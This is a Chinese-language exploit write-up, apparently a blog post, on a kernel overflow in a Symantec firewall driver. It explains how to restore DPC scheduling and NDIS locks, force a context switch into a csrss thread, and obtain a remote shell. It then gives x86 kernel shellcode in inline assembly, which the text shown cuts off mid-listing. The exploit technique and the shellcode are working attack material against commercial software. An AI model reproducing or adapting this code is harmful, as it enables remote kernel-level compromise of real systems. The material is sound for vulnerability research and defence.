没实现非安全返回法一，因为里面的技术要点都包括在安全返回法和非安全返回法二里了。主要就是那个BAT的下载文件的内容，可以参见相关文章。这篇文章是建立我之前写过的SYMANTEC防火墙内核溢出利用之安全返回法上的基础上的，若有未详细说明之处可参见前文。
正如FLASHSKY所说，非安全返回法二的关键在于恢复DPC，不象安全返回法，我们完全不必关心线程切换和DPC调度。不过FLASHSKY过分夸大了DPC被破坏的情况，尤其是环境切换，就算在安全返回法里，在执行我们的代码时系统也进行了数次环境切换和DPC调度(在int 0x2e里发生)。先让我们看看一个DPC调度是怎样完成的，以下是KPCR结构中涉及到DPC调度的部分：
+7e0 uint32 DpcInterruptRequested
+7e4 void *ChainedInterruptList
+7e8 uint32 CachePad3[2]
+7f0 uint32 MaximumDpcQueueDepth
+7f4 uint32 MinimumDpcRate
+7f8 uint32 CachePad4[2]
+800 struct _LIST_ENTRY DpcListHead
+800 struct _LIST_ENTRY *Flink
+804 struct _LIST_ENTRY *Blink
+808 uint32 DpcQueueDepth
+80c uint32 DpcRoutineActive
+810 uint32 DpcCount
+814 uint32 DpcLastCount
+818 uint32 DpcRequestRate
+81c void *DpcStack
DPC的处理方法有两种，一种是把KDPC对象串上DpcListHead。在KiIdleLoop或者KiDispatchInterrupt里，系统检测到当前DPC链表不为空，于是调用KiRetireDpcList，KiRetireDpcList设置当前DpcRoutineActive状态为TRUE(M$在这里把ESP的值赋与该成员，显然任何时刻ESP都是大于0的)并把DpcInterruptRequested设置为TRUE，然后从DpcListHead里取出串在该链表上的KDPC结构的DPC例程入口和参数。处理完后恢复原状并把DpcCount加一。另一种方法是等待KTIMER调度对象，DPC调度发生的频率是相当高的，但大部分时间都是处理定时器KTIMER过期DPC，很多DPC通过等待KTIMER的方法被在KiTimerExpiration-KiTimerListExpire里处理。这里的溢出是属于第一种方法，我们处于DPC调度中，DpcRoutineActive和DpcInterruptRequested都为TRUE，进行栈回溯就会发现是由KiIdleLoop调用了KiRetireDpcList。显然这两处成员得恢复原来的0值(其实不恢复也可以，在第一个int 0x2e里如果发生了DPC调度后就会帮我们恢复，但就会降低溢出的成功率，因为如果在int 0x2e在ATTACH进程前还没发生DPC调度系统就会蓝屏，蓝屏代码0x)。其实系统中有些蓝屏是系统有意调用以防止你做某些事，这些事情如果你处理得好是不会对系统产生影响的，比如不能在DPC处理处于活动(就是DpcRoutineActive为TRUE)进行环境切换，但在这个漏洞溢出里我们第一步就是进行环境切换:)。所以突破系统对我们的刁难而完成系统本身的功能，就是我们对内核感兴趣的原因，能够控制整个操作系统真的很爽，扯远了，呵呵。恢复DPC有个技巧，既然上一次KiIdleLoop的调用是KiRetireDpcList，那么IDLE线程的KernelStack(ETHREAD+0x28)处的内容肯定指向KiIdleLoop里调用KiRetireDpcList后的下一条指令：
call
nt!KiRetireDpcList
cmp
dword ptr [ebx+0x128],0x0
如果不改动这里的话环境切换后系统恢复到这里执行，下一步就是判断保存在ebp里的DpcListHead代表的链表是否为空，但由于刚发生完一个环境切换ebp的值已经被修改为KTSS的值了，切换到IDLE线程后肯定出错。所以我们需要人为的对这个地址(指调用KiRetireDpcList后的下一条指令)做点手脚，加上0x2d，使它变为调用了SwapContext后的下一条指令：
call
nt!SwapContext
lea
ebp,[ebx+0x800]
显然ebp已经恢复了，DPC调度可以继续进行了。
恢复DPC我们有两种选择，一是将当前DPC跳过，二是重新把当前DPC(这里是ndisMDpc，它的KDPC结构地址保存在堆栈中距离溢出点比较大的地方)加入DPC链表头准备下一次重新调度。前一种方法的好处是方便，可以省下不少代码，也是我使用的方法，不过有一个小问题，就是无法再PING通，会产生网络已被中断的错觉，其实网络是通的，SHELL也拿得到。第二种方法虽然网络功能一切正常，不过远程的机器会出现一些异常，比如开始菜单无法再用，当然SHELL也一切正常。两种方法的共同点都是必须为前面加锁的NDIS_MINIPORT_BLOCK结构解锁，该结构地址保存在IDLE线程堆栈中距离溢出点距离比较大的地方，所以可以很安全取到。
下一步就是进行环境切换，要切换的线程是我们选择的目标特权进程内内核栈未换出的线程。把要切换的线程赋给KPCR+0x124处，把下一个要切换的线程(IDLE线程)赋于KPCR+0x128处，并把IDLE线程状态(ETHREAD+02d
byte
State)改为待命(0x3)。然后就是通过改变CR3切换进程地址空间、修改TEB描述符指向新线程TEB、从目标要切换线程中取出KernelStack赋于当前esp，记住，从这里开始我们已经处于新线程的堆栈中了，如果你之前有什么重要的信息压在IDLE线程的堆栈里，赶快在切换ESP前出栈吧。还有一点很重要的是，由于我们是强行把一个处于等待状态的线程进行环境切换(要想找到处于就绪状态且属于目标特权进程的线程实在太考验RP了，其机率快可以比上抽六合彩了)，就必须在等待链表KiWaitInListHead里把该线程摘除(这里说一下KiWaitInListHead和KiWaitOutListHead的区别，前者是处于等待状态且内核栈未被换出的线程链表，而后者是处于等待状态且内核堆栈已被换出的线程链表)，否则就会在KiOutSwapKernelStack处发生死循环。最后就是返回到KiSwapContext(这是该线程上次环境切换时保存在堆栈中的)，系统就会接管工作了(这里需要提出的是，其实IDLE线程自从被赋于KPCR+0x128并被改为待命后，早在第一个int 0x2e就被调度执行了)。
我开始时SHELLCODE的结构是先完成其它功能，再环境切换，结果遇到了个很奇怪的问题。就是在WinDBG里如果单步跟过ZwLockVirtualMemory的int 0x2e再g或者在该int 0x2e后任意处设置一个int 0x3断下来再g，系统都一切正常，但如果直接g或者干脆前面就没断过那么系统就会出现奇怪的问题。我猜想是WinDBG代替完成了一些DPC的调用。我曾经尝试解决这个问题，结果被郁闷了N次，主要是在WinDBG的干预下系统一切正常。后来想到前面几次环境切换和DPC调度都使用了IDLE线程的内核堆栈，而后面又直接修改会正常值(IDLE的KernelStack, 在ETHREAD+0x28处，是个不变的值，不修改的话会返回到错误的地址)，估计问题发生在这里，所以我把SHELLCODE前后结构改了，先环境切换再完成其它功能，这样不会再干预IDLE的内核栈，事实证明这样是正确的:)还有就是我的环境切换代码是一再精简过的SwapContext版本，把所有可有可无的代码全去掉了，比如修改KPCR中某些不会用到的成员的代码全去掉了，甚至连线程状态都没改，还是保持在等待状态，反正系统正常环境切换也不会检测正在运行的线程是什么状态，呵呵。
下面是内核SHELLCODE代码，转换成机器码大概320个字节。如果用第二种恢复DPC的方法大概
350个字节：
__declspec(naked)JustTest2()
{
__asm
{
call go1
go1:
pop eax
push eax
mov ebp, 0xffdff80c
mov ebx, dword ptr [ebp-0x2b0]
mov ebx, dword ptr [ebx+0x44]
xor eax, eax
push 0x73727363
FindProcess:
mov edi, esp
lea esi, dword ptr [ebx+0x1fc]
push 0x4
pop ecx
repe cmpsb
jecxz go2
mov ebx, dword ptr [ebx+0xa0]
sub ebx, 0xa0
jmp FindProcess
go2:
pop edx
mov dword ptr [ebp], eax
mov esi, dword ptr [esp+0x33c]
mov byte ptr [esi+0x2d], al
lea esi, dword ptr [ebx+0x50]
FindThread:
mov esi, dword ptr [esi]
test byte ptr [esi-0x86], 0x1
jnz go3
jmp FindThread
go3:
mov edx, dword ptr [ebx+0x18]
sub esi, 0x1a4
mov ebx, 0xffdff000
//
lea ecx, dword ptr [ebp-0xc]
mov ebp, dword ptr [ebx+0x124]
mov dword ptr [ebx+0x128], ebp
inc byte ptr [ebp+0x2d]
mov edi, dword ptr [ebp+0x28]
add dword ptr [edi+0x8], 0x2d
//
mov ebp, dword ptr [edi-0x8]
//
add ebp, 0x4
//
mov edi, dword ptr [ecx]
//
mov
dword ptr [edi], ebp
//
mov dword ptr [ebp+4], edi
//
mov dword ptr [ecx], ebp
mov dword ptr [ebx+0x124], esi
mov cl, byte ptr [esi+0x2c]
mov byte ptr [ebx+0x50], cl
mov ebp, dword ptr [esi+0x5c]
mov edi, dword ptr [esi+0x60]
mov dword ptr [edi], ebp
mov dword ptr [ebp+0x4], edi
pop edi
push dword ptr [esi+0x1c]
pop dword ptr [ebx+0x8]
mov esp, dword ptr [esi+0x28]
mov ecx, dword ptr [esi+0x20]
mov dword ptr [ebx+0x18], ecx
mov ebp, dword ptr [ebx+0x3c]
mov word ptr [ebp+0x3a], cx
shr ecx, 0x10
mov byte ptr [ebp+0x3c], cl
shr ecx, 0x8
mov byte ptr [ebp+0x3f], cl
mov ebp, dword ptr [ebx+0x40]
mov dword ptr [ebp+0x1c], edx
mov cr3, edx
push edi
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push 0x10
pop ecx
lea edi, dword ptr [ebp-0x40]
ZeroStack:
